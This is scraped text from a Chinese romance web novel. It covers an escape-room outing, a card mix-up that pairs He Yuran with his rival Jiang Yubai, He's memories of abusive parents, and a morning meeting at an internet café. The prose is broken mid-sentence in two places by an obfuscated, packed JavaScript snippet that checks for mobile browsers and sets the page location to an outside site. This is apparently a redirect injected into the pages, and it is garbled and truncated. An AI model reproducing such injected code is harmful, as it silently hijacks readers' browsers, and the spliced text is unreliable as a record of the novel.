王康不屑的“嗤”了一声:“来啊,我看看一个破密室能把谁吓得屁滚尿流。” 邹琪玥比了个国际友好手势:“走着瞧。” “咱们的密室是剧情主题风格,一开始会有npc将大家分成两两一队,送到单独的密闭空间,大家需要通过屋内的线索打开门锁,然后汇聚到一过完剧情,再完成单人线任务,最后结束。” 裴意摸了摸下巴:“这个分组是自组吗?” 讲解员摇摇头:“不是的,通过抽卡牌的形式,数字一样的两个人会分到一起,卡牌在入口时要交给我们工作人员。” “那就是随机咯?那我们七个人啊,怎么分啊?”柯漾说。 讲解员挠挠头:“这个就需要有一个人单独一个房间了,抽卡牌决定。” “啊?我不要自己一个人一间。”邹琪悦吓得往他男朋友怀里钻。 “哦,对,本店内情侣是有特权选择两人一组的。” 邹琪玥笑的跟花似的:“真的啊!那太好了!耶耶!” “我去,我以为处对象只有奶茶第二杯半价这种特权呢。”王康惊叹。 邹琪玥和男朋友一组所以不用抽卡,剩下五个人抽完卡牌就坐在后厅等着场景准备好。 贺欲燃试探的凑过去问:“小裴,你抽的数字几?” 裴意眨眨眼:“不告诉你。” 贺欲燃去抓他的手:“快点给我看看。” “哈哈哈哈你别闹,好痒!你先告诉我你是几!” 贺欲燃脱口而出:“4,你呢?” 裴意眼珠一转:“那也不告诉你!” “裴意!” 两个人闹了半天,裴意举手投降了:“不闹了不闹了,给你看给你看,我也是4。” 天时地利人和,贺欲燃暗爽。 “我先去上个厕所啊,免得待会开玩再尿急。” 贺欲燃温柔的捋了捋他凌乱的刘海:“说话能不能文明点。” 裴意摆了个鬼脸,溜进了卫生间。 刚推开门,他就跟从卫生间出来的江逾白迎面撞上。 “天,吓我一跳。”裴意拍拍胸脯。 江逾白低头,捡起撞掉的两张卡牌,拿起一张递给裴意:“掉了。” 裴意看都没看直接拿过:“快开场了,你赶紧去吧,我上个厕所。” 江逾白点点头,转身出了门。 被送进密室这一路,为了保证神秘感,每个人的眼睛都是蒙着的,直到贺欲燃听见沉重的关门声,和上锁的声音,广播中才响起:“请各位玩家拿下眼罩,快速找出密室的出逃方法,与队友汇合。” 贺欲燃伸手取下眼罩,睁开眼,一片漆黑。 不是,这取不取眼罩有什么区别吗? 贺欲燃忽然想起和自己同一房间的裴意,他摸索着墙边问道:“你在哪呢?我在门旁边,你先过来我这儿。” 话音刚落,他就感觉脚腕一凉,被人猛的抓了一下。 “卧槽!”贺欲燃迅速跳开,直直撞上身后的人。 他下意识觉得是裴意,胡乱的摸了一下,抓住了他的手腕:“刚有东西抓了我一下,你小心脚边。” 身后的人没说话,贺欲燃有点疑惑,但裴意胆子有点小,又菜又爱玩,他猜测可能是吓到了。 贺欲燃用指腹隔着薄薄的布料刮蹭着那人的腕骨,抚慰道:“都是假的别紧张。咱们先找到灯的开关,你跟着我。” 他声线磁沉,在空洞又未知的黑暗中像飘渺却柔软的绸缎,轻覆在耳边:“实在害怕的话,就抓住我。” 他感受着近在咫尺的呼吸声,那声音均匀又安静,不像一个害怕的人应该有的平稳。 他是不害怕吗? 寂静了一秒,自己握着的手腕突然转了一圈,然后向上滑动,直接抓住了他的手掌。 贺欲燃心颤了一下。 指间相扣,手掌紧贴,温热的触感如同微小的火星,细密的烫过他的掌纹,在下一瞬间星火燎原,烧满全身。 18. 始料未及 贺欲燃没想到裴意会直接牵自己的手,他有点恍神,一边担心裴意是不是真的吓到了,一边又觉得不对劲,这不像是裴意会做的事,而且如果他真的害怕,这会儿早扒着他肩膀叫出来了。 好像,这人不是裴意。 但不可能啊,他们两个人的卡牌都是4,按理说是肯定会在一起的。 思考间,脚腕又被抓住了。 贺欲燃往后退,握紧了身边人的手:“有npc抓我,你躲开点,别让他抓……” 话还没说完,npc用足了力气一拽,贺欲燃明显感觉到自己忽然失重,身体不控制的往前倾倒:“诶!” 腰间忽然被一个结实的臂弯勾住,肩膀也被榄过,黑暗中,自己的头撞向一个宽大的胸膛,两秒后,脚腕那只手松开了,他被身边人抱着转了半圈,最后退到墙边。 好高,力气也特别大。 不对,这人绝对不是裴意。 下一秒,屋内灯火通明,他被突如其来的强光晃得偏过头,埋进了那人的颈间。 鼻尖触碰到砰砰乱跳的脉搏,熟悉的青柠香一瞬间扎染开,如同电流般霸道的窜向身体各端。 他抬头,再次看到了江逾白浅棕色瞳孔中早已措手不及的自己。 “怎么是你?!”贺欲燃感觉自己要疯掉了,猛地推开江逾白,他直接殷实的撞上身后的墙壁。 贺欲燃还来不及生气,有东西就狠狠的划了一下他的脚腕,他脸色疼的苍白。 “怎么了?”江逾白想要上前。 贺欲燃顾不上疼,伸手挡在了两人中间:“你别过来!” 脑海里闪过刚才被他抱着转了半圈,鼻尖触碰到他脖颈的画面。 他生无可恋的闭上眼睛:“不是,怎么是你啊?” 江逾白站在原地,敛住了眉问:“卡牌是随机抽,不是我,那应该是谁么?” 贺欲燃忽然不知道如何反驳。 他焦灼的拢了把额前的头发:“那你抓我手干什么?” 江逾白一脸无辜:“你自己说的,让我抓住你。” “……”贺欲燃。 “我说害怕就抓住我,你像害怕的吗?” 江逾白眨眨眼,歪头:“不像吗?” 贺欲燃想咬人。 裴意牌他是看了的,不出意外他就是和自己一个房间,怎么可能呢? 意外。 “……” 他反应过来的时候直接被气笑了。 贺欲燃不打算跟他打哑谜了:“卡牌你换过?” 江逾白不犹豫:“没有。” 贺欲燃死死锁定住面前这张淡漠非常的脸,势必要找出些蛛丝马迹。 但除了觉得欠揍,他什么也没看出来。 “你唬谁呢?我和裴意卡牌都是4,为什么是我跟你一组?”贺欲燃咬着后槽牙:“你这算犯规知道吗?” 他急于往江逾白脑袋上扣帽子,没意识到话里的漏洞。 江逾白笑了笑,注视过来:“你们互相看牌不算犯规么?” “……”贺欲燃。 “我在问你。”他说:“你往我身上扯什么?怎么,心虚了?” 江逾白像是真的被问住了,静静的盯着他皱起的眉梢。 “我没有换。”半响,他似有似无的叹了口气,眼睛黯淡下去:“去厕所的时候我们撞上了,可能是拿混了。” 他的表情有些黯然神伤,像是被误会了之后百口莫辩的委屈和无奈。 但贺欲燃没什么理由相信一个情敌说的话,并且这种概率问题,他的解释太玄乎了。 他不禁佩服,这人为了阻止他跟裴意还真是舍身陷坑啊。 “江逾白。”贺欲燃突然笑出声,那唇角依旧弯的好看,下颌却隐忍的抽动着:“你总是能干出一些让我始料不及的事情啊。” 他伸手,发了狠的拽过江逾白的领子,两人距离登时不过十厘米。 江逾白也不防备,就这样任他拽着:“有吗?” 贺欲燃最讨厌别人跟他装疯卖傻,猛地将他拽近了些:“毕竟某些人耍耍小心眼,就能让剧情走向一个意外的结局。” 不然现在站在这的,就不该是你。 江逾白垂下眼看他,那生的冷峻的眉峰忽然扬起,衬出一份倦怠不羁的揶揄:“始料不及是常有的,没有人有十足的把握将剧情的发展牢牢攥在自己手心。” 贺欲燃笑容僵硬,瞪着他双浅如轻纱的眸色,却越看越觉得深沉。 江逾白忽然抓住贺欲燃拽着自己衣领的那双手,一根一根手指的往下掰。 “或许不是事情让你觉得始料不及。” 贺欲燃的手被掰开了,手腕被江逾白反攥在手心。 “是人。” 浓浓的轻佻在他眼底扫过,眨眼间,又被他轻松泯了去,只留下一片从容不迫的淡然。 挑衅十足却又暧昧不清的话语让他陷入进退两难,如同一条毒性攻心的长蛇,吐着信子缠绕上心脏,随着面前愈来愈深的眸光,渐渐束缚,收紧。 他终于开始后怕:“放手。” 江逾白立刻松了手,其实他并没有用力捏,相比之下,甚至温柔的像是在牵他。 贺欲燃摩挲着还在发烫的手腕,目光骤冷。 “江逾白,我讨厌跟我撒谎的人。” 但也就如他所说,自从江逾白出现后,他本该运筹帷幄的剧本,就一直在被篡改。 他怕,有一天会到不可控的地步。 “我不撒谎,就不讨厌我吗?” 不会有回答的,江逾白对上他眼里在火气下袒露无遗的失控,抿唇轻笑,转过身环视了一圈:“在这之前,应该先找线索离开。” 贺欲燃一股气无处撒,憋的胸腔闷得慌。 江逾白,喜欢裴意为什么要跟他走这么近。 刚才的话是什么意思,是试图惹怒他,还是想看他失态? 贺欲燃捏着拳头,江逾白绝对没有他想的那么简单。 好像不只是单纯为了裴意。 他到底想干什么? 贺欲燃努力找东西转移注意力,忽然看到墙边有一个小口,只能从外面打开,想必那个npc就是从这个洞里伸手抓他的。 江逾白走过来,递给了他张纸条:“我找到张纸条。” 贺欲燃被拉回神,无可奈何的和他一起去看纸条的内容。 〈霜雪之时,新婚之日〉 贺欲燃思索了一下:“密码可能是要输入婚礼当天的日期?” 江逾白点点头:“我也是这个意思。” 贺欲燃这下环顾四周,是个民国时期的婚房布景,梳妆台,简单的木床,到处都贴着“喜”字。 “再翻翻,看看还有没有什么线索,这种小密室不会太难解的。”贺欲燃转身掀开床铺。 两个人东翻西找了半天,翻到了几封信,内容大概就是一个女孩向青梅竹马倾诉自己不想按照父母意愿结婚,想让青梅竹马带她走。 箱子里没有女孩所谓“竹马”的回信,都是她一个人自顾自的说。 〈婚礼还剩几日了,我无法派人寻到你,你还好吗?你在哪?〉 “等等,看落款日期。”贺欲燃忽然道。 两个人看向左下角的日期:20.10.18 贺欲燃咀嚼着这几个线索“霜雪之时,离婚礼还剩几日,二零年,十月十八……” “霜降。”两人异口同声。 贺欲燃起身,到门锁上拨弄了几下,“咔嚓”一声,门开了。 “别动!”江逾白忽然道。 贺欲燃会意,并没有迅速打开门。两个人放轻动作,默契的退到门框两边。 “3,2,1。” 门开了,不出所料,一个红衣npc直接张牙舞爪的扑了进来。 但这俩人动作比兔子还快,几乎是跟npc擦肩而过。 扑空摔成狗啃泥的npc:“?” “嘶!”脚腕的一阵刺痛,使得贺欲燃步调慢了下来。 黑暗中,他感觉手腕被牵起来了,紧接着一股力量就带快了他的速度。 npc的声音越来越近,头顶灯光闪烁,狭长幽暗的长廊,江逾白紧紧攥着他的手腕往前跑,拐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848862|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个弯,随便推开一扇门钻了进去。 两个人跑的有点急了,站在门口喘气,一回头,裴意和柯漾正目瞪口呆的看着他俩。 气氛总是一瞬间尴尬起来的。 贺欲燃一把甩开江逾白的手,但已经晚了。 柯漾:“你们关系……” 裴意:“这么好吗……” 贺欲燃头皮发麻,解释道:“刚有npc在追,我被绊了一下。” 裴意和柯漾目光中带着浓浓的质疑。 江逾白环顾起房间,岔开话题:“其他人还没出来吗?” 裴意把玩着手里的道具:“我俩也是刚出来,有个npc一直抓我俩,就躲到这了。” “我靠这密室真的挺恐怖的,我俩刚在房间里被一个npc追的满屋子乱窜。”柯漾现在回想起来还有点心惊胆战。 裴意也赞同的点点头:“对,机关也很多,一不小心碰到什么,指不定会冒出来什么血淋淋的假体之类的。” 裴意说完,又想到什么,碰了碰贺欲燃:“我刚开始以为我旁边是你呢,结果柯漾出声我才知道是他,是工作人员分错了吗?我跟你不是一个房间吗?” 一提这事儿贺欲燃就生气。 他冷笑一声,我也想跟你一个房间啊。 “可能是刚才上厕所我们卡牌拿混了。”旁边的江逾白解释道。 裴意这才反应过来“哦对,你不说我都忘记了,当时我直接拿过来就走了,也没看。” 贺欲燃看着江逾白问心无愧的表情。 你再跟我装无心呢? “你们玩得怎么样?还好吧?”裴意完全不当回事,笑嘻嘻的问。 贺欲燃苦笑:“就那样吧。” “就是现在不知道王康怎么样了。”柯漾憋笑:“他这倒霉蛋自己一个房间,估计真的要吓得屁滚尿流了。” “啊啊啊——卧槽!” 刚说完,门口就传来了一声低沉的嘶吼,是王康。 柯漾爆笑:“我他妈就知道他会被吓成狗。” “哥我求你放过我吧,你从入口吓到我出口,我都这样了你还吓我,你业绩按叫几声算的吗?” 门外魂飞魄散,门内笑声连片。 几个人可能是真怕王康吓尿了,打开门把人营救了进来。 “卧槽卧槽,吓死我了。”王康满头大汗的靠着门喘气,一看就被追了半天。 柯漾:“不是,给我哥们累成狗了,npc追了你多久啊?” 王康表情极为夸张:“我靠,我屋在最里边儿,他从那追到我这。” 柯漾又笑话他:“你也是够捧场的,人家吓唬你你就叫,追你肯定比别人有体验感!” 王康还不服气,朝着柯漾踢了一脚:“你他妈别站着说话不腰疼,你自己一个人一个房间试试,妈的给我吓的都要上墙了!” 贺欲燃也被他那副囧样逗笑:“看到画面了,王康超绝大壁虎。” 王康黑脸:“去屁的!” “哈哈哈哈哈哈!” 从六点玩到八点多,七个人才从密室里出来。 王康张开双臂:“卧槽,终于重见天日了。” “里面太暗了,一出来我看到灯光眼睛都快给我晃瞎了。”柯漾揉了揉眼睛说。 几个人走了一会儿,贺欲燃才发现少俩人,他四处看了看:“小玥呢?” 王康冷哼:“人家早跟男朋友过甜蜜二人世界去了,就只剩下咱们这几个老光棍在这当该溜子。” “那咱们也玩点什么啊!”裴意眼睛亮晶晶的指了指前面的海盗船:“去玩那个怎么样!” 柯漾拉起蔫了的王康:“来都来了,走走走!” “你俩快点儿啊!”裴意朝后面挥了挥手。 贺欲燃只感觉疲惫,现在就想回家里的大床上躺着去,他强扯出一个微笑:“你们先去买票,我马上回去。” 一直走在后面的江逾白忽然加快了脚步,按住了贺欲燃的肩膀:“等等。” 贺欲燃皱着眉退了一步:“干什么?” 江逾白低头:“你脚腕流血了。” 19. 伤口 贺欲燃这才低头,血出的太多已经把裤脚浸透了一块。 贺欲燃提起裤子看了一眼,白皙的脚腕处赫然有着一条血淋淋的长口子:“刚才在密室划这么严重么?” “口子不是很深,应该是止血之后你又扯到,所以出了很多。”江逾白说。 贺欲燃呼了口气:“好麻烦。你有没有纸。” 江逾白从斜挎的背包里翻出几张纸巾:“找个地方坐下擦。” 贺欲燃拿走纸巾,疲惫的抬起双眼看了看他:“我自己来吧,你去跟他们先玩着。” 江逾白盯着他的脚腕看了一会,最后垂下眼,什么也没说转身走了。 因为伤口在脚跟上方,贺欲燃擦干净费了好大力气,再加上玩了半天密室口干舌燥的,他真的有点心烦。 “好渴啊,烦死了,想回家。”贺欲燃胳膊肘支在双腿上,头埋进了手掌。 一片阴影忽然遮挡住了光线,睁开眼,就看到一双白色运动鞋。 贺欲燃抬头,江逾白拎着一瓶矿泉水送到他眼前。 他依旧穿着那身高领冲锋衣,低下头时下半张脸埋进去,有一种生人勿近的凛然。 “刚去那边买的。” 贺欲燃晃了会儿神,接过了拿瓶矿泉水:“刚好渴了,谢谢。” 他仰头大口大口喝着水,正享受着冰凉清爽的口感,忽然感觉自己的腿被人抬了起来。 贺欲燃对于别人的触碰非常敏感,他下意识抽动了一下,脚腕却被抓住了,只见江逾白单膝跪地,那双骨骼分明的手指卷起他的裤腿,他低着头,刘海挡着半张脸,只剩那高耸的鼻子和薄薄的唇线。 贺欲燃只感觉大脑空白:“你干什……” 江逾白头都没抬,非常自然的说:“我买了创口贴。” 贺欲燃讨厌他这种命令的语气,也更讨厌他突如其来的好意。 明明刚刚还为了拆开他跟裴意耍小心思,密室里那双捉摸不透的眼睛还历历在目,那现在他又在做什么。 帮他做账,给他倒水,黑暗中的手,因为他的伤口而跪下的膝盖。 如果是为了在裴意面前留个单纯善良的人设,为什么现在四下无人,他还能做的这么理所当然。 他有几分真情实意,还是面具带久了忘了摘。 这种不远不近的关系太让他抓狂了。 贺欲燃猛的抽开自己的脚腕,直接踹在了江逾白的肩膀。 他往下压着江逾白的肩,让他被迫看向自己:“我有没有说过,不要随便碰我。” 脚腕一凉,江逾白面无表情把那张创口贴抚平。 “你……” 江逾白单膝跪地,任凭这只脚踩在自己肩膀,抬头仰视他,这种上下位的姿势有种说不出的怪异。 “起来。”贺欲燃突然感到一种羞耻。 江逾白把他的脚轻轻放下,又拍了拍肩膀留下的脚印,从头到尾看不出他情绪一点的变化。 贺欲燃站起身,语无伦次了半天,才说出一句:“你这人……怎么这么奇怪?” 江逾白把包里剩的几个创口贴也塞到贺欲燃手里,答非所问的说:“不防水,记得换。” 贺欲燃又把创口贴给他塞了回去,语气不爽:“我不要。” 江逾白又塞给他:“拿着。” “我说了我不用。” 推搡间,几片创口贴直接掉落在了地上。 他没想到自己会手重,突然有点尴尬。 可江逾白什么都没说,只是弯腰去捡,吹落上面的灰,还想递给他,手停了一会,又收了回去:“那你记得去便利店买些。” 贺欲燃张了张嘴,火气又被浇灭了一半。 为什么会跟他露出这副可怜兮兮的样子,就如同被喜欢的人拒绝了一样。 他是真快被江逾白搞疯了。 明明是情敌,是对立面,明明能感觉到自己和裴意亲密接触时江逾白的不爽,那他时不时又对自己好是在干什么? “差不多得了。” 江逾白愣愣的抬头看他。 贺欲燃胸腔憋了口气,闷的他几乎要窒息:“裴意不在,你没必要跟我这样。” 面对他再一次的警告,江逾白依旧面不改色:“不是很明白。” 江逾白抛出的问题永远都那么有引导性,让人连发火都变得茫然。 他不知道他的目的是什么,就像埋在脚下的炸弹,一不小心踩到,就会被炸的血肉模糊。 “明不明白不重要。”贺欲燃盯着他的眼睛,一字一句:“我只是希望你能知道,你对我做这些没有理由,也不应该。” 江逾白怔住,瞳孔颤了颤,又默默收回,长长的睫毛遮住眼睛,绕着自己的鞋尖看了半天。 贺欲燃总觉得他下一秒要说对不起,莫名于心不忍:“行了,也不算什么大事,不需要往心里记。我先走了,帮我跟小裴他们说一声。” 他能感觉到江逾白在他离开后还站在原地,或许一直看着他走远。 那副委屈巴巴像是被负心汉渣了的表情,他都不用猜。 他说不清那错觉是什么,他就是感觉江逾白在试探他,逼近他,不停的扰乱他的思绪,他的判断。让他对江逾白产生一种无法彻底厌恶,却又不敢靠近的感觉。 讨厌的不彻底,做朋友又别扭。 贺欲燃给裴意他们发了个消息,说自己不舒服先开车回家了。他就是觉得心累,身体也累。 可一闭眼,脑子里全都是江逾白的脸。 “神经病。”不知道这句话是在骂谁,贺欲燃把头从方向盘上抬起,伸手发动了车子引擎。 - 因为靠近郊区,贺欲燃大概开了三十多分钟才到家,他二十岁搬出来住,用他大学时期攒下来的生活费,还有和朋友开酒吧盈利的第一桶金,在上海松江南地段买了这栋直筒型的复式房。 房子不是特别大,一个人住总显得落寞,孤单是常有,但他依然觉得很幸福。 他可以想几点起床就几点起床,心血来潮了就做饭,懒得做就点外卖。可以带朋友来家里玩,可以养自己喜欢的猫猫狗狗,也可以在凌晨三点突发奇想冲出去看日出。 这些看似幼稚又微不足道的事,在他那个所谓的“家”里,却是永远被贴上“不被允许”的标签的。 七点必须起床,外卖不许进家门,门禁是八点,上不完的补课班,被翻查的手机,房间被撬了锁的门,桌子上永远被翻动的日记。他在这个所谓的“家”里,没有秘密,没有权利,只有像傀儡一样的灵魂,被父母操纵着,偏离了一点就要挨巴掌。 这些幼稚的,所谓“为了你好”的规定,就这样束缚到他二十岁那年。 而这一切结束的最终原因,是自己养的叫“小飞”的小边牧,被他爸在他不知情的情况下扔了出去。 贺欲燃永远记得那天,二月,下了好大的雪,20岁的他哭的跟个小孩子一样,在小区里一遍遍翻找他心爱的小狗,眼泪滚烫的流下来又迅速被寒风吹干,冻到血液不循环的手,哭到颤抖的嗓音一遍遍呼喊着小狗的名字,但再也不会有那小小的一团冲过来扑上他的腿了。 他喜欢的东西被爸妈再一次以“爱”的名义毁掉。 这件事就如同导火索燃尽时最后跳跃的火苗,霎时间,那颗掩埋了太多年的炸弹终于被引爆。 他和爸妈大吵了一架,桌子被他掀翻,能摔的被他全部摔碎。 他永远记得爸妈那张脸上错愕的表情,就好像不认识他一般。 郑淑华摸着他冰凉的脸,悲痛的说:“你一直都很听话的,小燃,你是不是和那些朋友学坏了?” 贺军大骂他:“混账!为了一条破狗跟我们闹!当初就不该生下你!废物东西我还不如养个畜牲!” “我供你吃供你喝!当初你爸我最难的时候连口水都喝不上!你就是活的太舒坦了,体会不到我们做父母的苦!” “我做这是一切都是为了你!你是怎么报答我的!” 贺军唾沫横飞,犀利尖锐的话语就这么刺向他最亲近的儿子。 贺欲燃看着他扭曲的脸,气到极致哄堂大笑起来。 那笑声刺耳震心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848863|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “逃离了你的掌控,就这么生气啊?”贺欲燃气若游丝,如同下一秒就要消散的尘埃,脸上却挂着一抹凄凉嘲弄的笑:“贺军,我要是当初能选,我绝对不会做你儿子。” 贺军脸上青红皂白,郑淑华更是被他吓得哭了出来。 “混账东西我今天要打死你!” “你翅膀真是硬了敢这么跟我讲话!” …… “你看看你张姨家的儿子!小小年纪就年少有为,你都二十了,就因为一个狗……” “贺欲燃,你太让我失望了!” “小燃,记忆里你连叛逆期都没有,今天是怎么了?怎么突然跟爸妈发这么大火……” “小燃,别怪爸妈,我们也是为你好……” …… 听着他们一遍遍的辱骂,呐喊,哭泣,贺欲燃晕眩的像是置身在绚烂凌乱的万花筒。他双眼瞪得猩红,浑身都在打颤。怎么转身跑出去的他不记得了,只记得后来应激反应吐了一天,又病了半个月,足足掉了快二十斤。 而那期间,他电话里爸妈的信息,没有一条是关心他在哪,询问他病怎么样。贺军发的全是一连串的恐吓威胁,郑淑华是一连串的心灵鸡汤。 万斤重的石头压在贺欲燃的心尖,他努力一遍遍扬帆的船又一次被拦腰斩断,沉入冰冷的海底。 那段时间他是想过自杀的。 后来他三个月没和家里联系,他爸想尽了一切办法,冻结银行卡,断生活费,发信息辱骂。 贺欲燃这次并没有如他们所料的乖乖听话,他知道,现在最能绊倒自己的,也无非就是钱。 小半年的时间,他切断和外界的一切来源,和朋友合资开了一家清吧,一个月后,清吧凭着酒品新颖,环境舒适,开的如火如荼,一切都向最好的方向开始发展。 逐渐,他和父母也莫名开始缓和,过了一段消停日子,贺欲燃还天真的认为他爸妈想开了,一年内不少往家里买东西,带他们出去玩。但就在前段时间,面临毕业就业的问题,他爸妈再次和他吵了一架。 那份短暂的平和就像一场梦,一触即碎。 原来原生家庭是永远无法改变的,体面的结局永远需要有一方妥协,但很可惜,他和父亲都不是愿意的那一个。 贺欲燃翻了个身,整个人埋在沙发里。 微信提示音忽然响起,贺欲燃闭着眼睛摸出手机,懒散的瞄了一眼。 贺锦佑:〈老哥友情赞助我点马内,瓦达西揭不开锅了〉 贺欲燃无语。 还有这个被父母溺爱长大的贺锦佑。 明明是一个爸妈生,相差也就六岁,贺锦佑因为从小体弱多病被爸妈放心尖上宠爱着,包括那些大大小小的规矩,在他身上也全然不算数。 就好像他爸妈单纯的在针对他一样。 CX330:〈没有。〉 贺锦佑:〈老哥我求你!!就三千,不多要。〉 CX330:〈三千少吗?爸一个月给你四千块的生活费,你一个高中生都花哪去了?〉 〈一和我要钱就会好好说话了,平常怎么不见你跟我“哥哥哥”的叫。〉 对面安静了五秒钟,贺欲燃以为他死心了。 贺锦佑:〈两千九也行。〉 CX330:〈等哪天我去正德一中门口截杀你。〉 〈转账:五千元〉 贺锦佑:〈感谢老哥!我去网吧了!〉 CX330:〈让爸知道一定打断你的腿。〉 贺锦佑:〈爸才不会打我,顶多一顿心灵鸡汤。〉 贺欲燃看着贺锦佑的那句话,思绪忽然拉回到十六岁那年自己去网吧,贺军把用棒球棍把他打的跪地求饶那次。 但到了贺锦佑这,这一切规矩似乎就像是他爸妈闹的一个笑话而已。 到头来承受这些的,其实只有他一个人。 而贺锦佑,永远都被庇护在爸妈的宠爱之下。 弟弟出生后,贺欲燃才明白,原来贺军也会笑,也知道怎么去宠爱一个孩子。 只是不愿意给他而已。 20. 网瘾少年 洗过澡后,贺欲燃躺在床上刷手机,百无聊赖的点进朋友圈,置顶就是裴意的一条。 小裴:〈果然和朋友在一起做什么都是开心的!〉 配图六张。 第一张是一张大合照,里面是今天一起去玩密室的这些朋友。 第二张比较有意思,几个人在海盗船上被吓得魂飞魄散,王康和柯漾抱在一块,邹琪玥靠在男朋友怀里,裴意和江逾白坐在一起,镜头很晃动,但尽管如此,他也能看清江逾白那张不和其他人在一个图层的脸。 模糊的聚焦下,他凌乱的发丝被风吹起来,看向前方,笑的肆意又宣扬。明明是丑照倍出的角度,江逾白却硬靠着那张帅脸,给人一种青春男主角的感觉。 “我不在都要开心死了吧。”贺欲燃不知在气什么,食指用力的划过那张照片。 第三张照片是江逾白和裴意的单独合照。 草,还不如不翻。 是抓拍的,裴意手拿着一个小蛋糕,江逾白的鼻子和脸到处都是奶油,被裴意抹的跟个小花猫似的,笑容有些尴尬,小心翼翼的看着镜头。 贺欲燃不觉间捏紧了手机。 原来他跟裴意关系已经这么好了。 贺欲燃翻来覆去的看这几张照片,一遍遍放大江逾白的脸。 想起今天自己说的那番话,他这样对谁都好的人,或许对裴意会更好吧。 给自己的那些关心,不过是一些小恩小惠罢了,或许换做是谁江逾白都会那么做。 就像江逾白今天问他的话:“我不是很明白。” 对人家来说,这些不过是一些微不足道的施舍而已,有谁会产生错觉呢。 只有他这种自卑又缺爱的人。 别人对他稍微的一点好,他就不知怎么回应,最后只能慌张的筑起堡垒。 那种心烦意乱的感觉又涌上来,他按灭了手机,转身埋进了枕头,沉沉的睡了过去。 大周一早上,贺欲燃梦都没做完就被贺锦佑一个电话打醒了,他摸出手机放到耳边的时候,甚至感觉自己在梦游。 贺锦佑火急火燎的声音传过来:“哥!江湖救急!我现在在你家附近的“畅享”网吧,今天是家长会,爸都到学校了!他要是知道高低要弄死我!快来接我!!” “打滴。”贺欲燃感觉自己嗓子都是黏的。 贺锦佑沉默了两秒,差点哭出来:“我实话跟你说了吧,我昨天晚上在网吧通宵,我跟爸妈撒了慌说我去你那里住的!” 贺欲燃真是佩服他的谎话连篇:“然后呢,和你打不打滴什么关系。” “爸不信,所以……我跟他说让你今早来送我…”贺锦佑声音越说越小,生怕贺欲燃大发雷霆:“但是谁知道爸今天到校这么早啊!他说他在门口等我,你要是不送我过去,我就死定了……” 合着直接把他匡里了。 “贺锦佑。”贺欲燃彻底精神了,他咬着后槽牙说:“如果咱俩不是一个妈,我是真挺想问候一下的你明白吗?” 如果杀弟弟不犯法,贺锦佑绝对长不这么大。 “我求你了哥,我昨天旷课的事儿都被爸知道了,我今天再露馅我回去真要挨揍了。” 贺欲燃翻了个身,感觉自己又要睡过去:“活该,我早就说过你别玩脱了,爸对你容忍度已经够高了,自求多福。” “哥,你不能见死不救!”贺锦佑要哭了。 “叫爹也不好使。” “爷爷!!” 最终贺欲燃答应了这“孙子”的请求,大早上七点脸都没洗就驱车出了门。 畅享网吧离得不远,贺欲燃十分钟就到了,刚推开门走进去,就闻到一股乌烟瘴气的味道,他嫌弃的伸手在鼻前挥了挥。 CX330:〈我到了〉 贺锦佑〈我在拉屎马上〉 贺欲燃耐心真是有限的。 CX330:〈都来不及了还有功夫上厕所,我看你也不着急啊〉 贺锦佑:〈昨天在网吧点的外卖有问题!拉肚了!人有三急!〉 贺欲燃翻了个白眼,真是想替贺军好好教育教育他的好大儿。 他等贺锦佑这功夫无聊的靠在楼梯扶手旁,有点好奇的四处看了看。 从小到大他就来过一次网吧,结果回去之后还被他爸知道了给痛打一顿,在那之后他不光是不敢去,也是因为每天排满的补课班,兴趣班,没有时间来。 有的时候他真的很羡慕贺锦佑,即便贺军也会骂他,打他,但永远都只是在气急了的时候才会打那么两巴掌,贺锦佑每次都疼的呲牙咧嘴,但那根本比不上贺欲燃曾经受过的十分之一痛。 但其实无论如何,一切的一切都是他爸妈的选择,是他爸妈的偏心而已。 他是羡慕弟弟,但谈不上嫉妒,因为在这个家里,他更希望不要再出现下一个贺欲燃。 “诶诶,起来了,你机子到点儿了。” 一声浑厚的中年男人声音传过来,贺欲燃被吸引过目光。 男人皱着眉头敲了敲电脑桌:“诶诶!醒醒别睡了。” 这次,桌子上熟睡的男生终于抬起了头,正好被贺欲燃看见正脸。 “江逾白??”贺欲燃简直不相信。 江逾白艰难的从桌子上爬起来,酸痛的身子让他有些直不起腰,他使劲捏了捏脖子,惺忪沙哑的声音响起:“好,我待会儿,去前台付钱。” 贺欲燃真觉得不可思议。 学习这么好的学生也会来网吧通宵啊? 裴意知道他引以为傲的学生是个网瘾少年么? 贺欲燃看着他红肿的眼睛,一看昨晚就玩到很晚,根本没睡好。 他突然脑补出江逾白那张乖孩子的脸狰狞的喊出:“上啊一帮傻逼!” 那一定超级无敌ooc。 他不禁笑出声来,谁知自己正好站在前台附近,江逾白困的睁不开的眼睛直接就对上了他的目光。 想起昨天的事情,贺欲燃有点尴尬。 但谁知江逾白只是愣了一秒钟,就直接开口了:“你来上网?” 贺欲燃清了清嗓子,想着反正他也不尴尬,那自己扭捏个什么劲:“哦,来接人的。” 江逾白瞄了他一眼,点点头,掏出手机扫码。 店内响起的一声:微信到账四十元。 贺欲燃看着他付完钱,整个人的脸上都透着“刚睡醒”的那种恍惚,不禁乐了一声:“昨天玩到那么晚,你还有闲心过来上网啊?” 他不知怎么,有种看到别人立人设翻车时的暗爽。 清纯是假的,笑容是假的,现在就连三好学生也是假的。 